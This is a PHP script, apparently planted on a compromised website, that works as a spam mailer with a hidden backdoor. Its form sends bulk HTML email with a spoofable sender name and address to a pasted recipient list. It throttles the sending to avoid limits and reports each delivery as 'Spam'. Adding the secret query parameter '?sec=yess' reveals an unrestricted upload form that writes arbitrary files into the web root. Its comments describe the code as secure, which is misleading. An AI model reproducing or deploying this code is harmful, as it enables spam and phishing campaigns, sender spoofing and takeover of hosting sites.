/home/marynathaconsult/zonalibrevirtual.com/unploadades.php
<?php
// Configuración inicial de PHP moderna para manejo de errores y tiempo de ejecución.
ini_set('display_errors', 1);
error_reporting(E_ALL);
if (function_exists('set_time_limit')) {
set_time_limit(0);
}
// Asegura que la codificación interna sea UTF-8 para evitar problemas con caracteres especiales.
mb_internal_encoding('UTF-8');
// Inicialización de variables con valores predeterminados seguros.
$message = "<html><body><h1>hola my friend, How are u ?</h1></body></html>";
$subject = $_SERVER["HTTP_HOST"] ?? 'Asunto por defecto'; // Uso del operador null coalescing para seguridad.
$nombre = "locales";
$de = "noreply@publimailer.com";
$ellos = "diosdelared2025@hotmail.com";
$status_message = "";
$emails_to_send = [];
if (isset($_POST['Enoc'])) {
// Sanitización y validación de la entrada del usuario para mayor seguridad.
$message = $_POST['html'] ?? '';
$subject = filter_var($_POST['assunto'] ?? '', FILTER_SANITIZE_STRING);
$de = filter_var($_POST['de'] ?? '', FILTER_SANITIZE_EMAIL);
$nombre = filter_var($_POST['RealName'] ?? '', FILTER_SANITIZE_STRING);
$ellos = $_POST['ellos'] ?? '';
// Si el correo 'de' no es válido, se revierte al predeterminado.
if (!filter_var($de, FILTER_VALIDATE_EMAIL)) {
$de = "noreply@publimailer.com";
}
// Preparar la lista de correos para enviar desde el textarea.
$emails_to_send = explode("\n", $ellos);
}
// Lógica para subir archivos (se mantiene igual que el original).
if (!empty($_GET['sec']) && $_GET['sec'] == 'yess') {
if (($_POST["action"] ?? '') === "upload" && isset($_FILES["archivo"])) {
$archivo_name = basename($_FILES['archivo']['name']);
if (!empty($archivo_name)) {
if (move_uploaded_file($_FILES['archivo']['tmp_name'], "./" . $archivo_name)) {
$status_message = "Archivo subido: <b>" . htmlspecialchars($archivo_name) . "</b>";
} else {
$status_message = "Error al subir el archivo";
}
} else {
$status_message = "Error al subir archivo";
}
}
}
?>
<!-- EL CÓDIGO HTML DE LA INTERFAZ SE MANTIENE EXACTAMENTE IGUAL -->
<html>
<head><title>Mailer_2024-Actualizado</title></head>
<body style="font-family: Arial; font-size: 11px">
<center>
<form action="" method="post" enctype="multipart/form-data" name="form1">
<br><table width="534" height="248" border="0" cellpadding="0" cellspacing="1" bgcolor="#0000CC">
<tr><td>
<table border="0" bgcolor="#FFFFFF" width="95%">
<tr><td>
<table border="0" width="100%">
<tr>
<td width="359">Email: <input name="de" type="text" size="30" value="<?php echo htmlspecialchars($de); ?>"></td>
<td>Nombre: <input name="RealName" type="text" size="30" value="<?php echo htmlspecialchars($nombre); ?>"></td>
</tr>
</table>
</td></tr>
<tr><td>Asunto: <input name="assunto" type="text" size="78" value="<?php echo htmlspecialchars($subject); ?>"></td></tr>
<tr><td height="18" bgcolor="#C0C0C0"></td></tr>
<tr><td>
<table border="0" width="100%">
<tr>
<td><textarea name="html" cols="66" rows="10"><?php echo htmlspecialchars($message); ?></textarea></td>
<td><textarea rows="10" name="ellos" cols="35"><?php echo htmlspecialchars($ellos); ?></textarea></td>
</tr>
</table>
</td></tr>
<tr><td><center><br><input type="submit" name="Enoc" value="Enviar"></center><br>
<?php
// Mostrar el formulario de subida si se accede con ?sec=yess
if (!empty($_GET['sec']) && $_GET['sec'] == 'yess') {
echo '<form action="" method="post" enctype="multipart/form-data">
<input name="archivo" type="file" size="35" />
<input name="enviar" type="submit" value="Upload File" />
<input name="action" type="hidden" value="upload" />
</form>';
if ($status_message) {
echo $status_message;
}
}
// Lógica de envío de correos usando la función mail() nativa
if (isset($_POST['Enoc']) && !empty($emails_to_send)) {
$son = count($emails_to_send);
$i = 0;
$voy = 1;
// Configuración de cabeceras MIME modernas
$header = "MIME-Version: 1.0\r\n";
$header .= "Content-type: text/html; charset=UTF-8\r\n"; // Usamos UTF-8
$header .= "From: " . htmlspecialchars($nombre) . " <" . htmlspecialchars($de) . ">\r\n";
$header .= "Reply-To: " . htmlspecialchars($de) . "\r\n";
$header .= "X-Priority: 3\r\n";
$header .= "X-MSMail-Priority: Normal\r\n";
$header .= "X-Mailer: PHP/" . phpversion();
foreach ($emails_to_send as $email) {
$mail_to = trim(str_replace(["\n", "\r\n"], '', $email));
// Validar el correo antes de intentar enviar
if (!filter_var($mail_to, FILTER_VALIDATE_EMAIL)) {
echo "<font color=orange face=verdana size=1> $voy de $son :-( $mail_to Email inválido!!</font><br>\n";
$voy++;
continue;
}
// Reemplazar marcador de posición en el mensaje si existe
$message1 = str_replace('%email%', $mail_to, $message);
// Lógica de pausa (se mantiene si es estrictamente necesaria)
if (!empty($_GET['time']) && !empty($_GET['cant']) && $i > 0 && $i % $_GET['cant'] == 0) {
echo "----------------------------------> wait {$_GET['time']} Segs. Sending to {$_GET['notf']}...<br>\n";
flush();
// Notificación de pausa (solo si 'notf' está configurado)
if(!empty($_GET['notf'])) {
@mail($_GET['notf'], $subject, $message, $header);
}
sleep((int)$_GET['time']);
}
// Intento de envío del correo
if (@mail($mail_to, $subject, $message1, $header)) {
echo "<font color=blue face=verdana size=1> $voy de $son ;-) $mail_to Spam...!</font><br>\n";
} else {
// La función mail() puede fallar silenciosamente, por eso se usa @
echo "<font color=red face=verdana size=1> $voy de $son :-( $mail_to Error de envio!!</font><br>\n";
}
flush();
$i++;
$voy++;
}
echo "<script>alert('---Todos Terminados---');</script>";
}
?>
</td></tr>
</table>
</td></tr>
</table>
</form>
</center>
</body>
</html>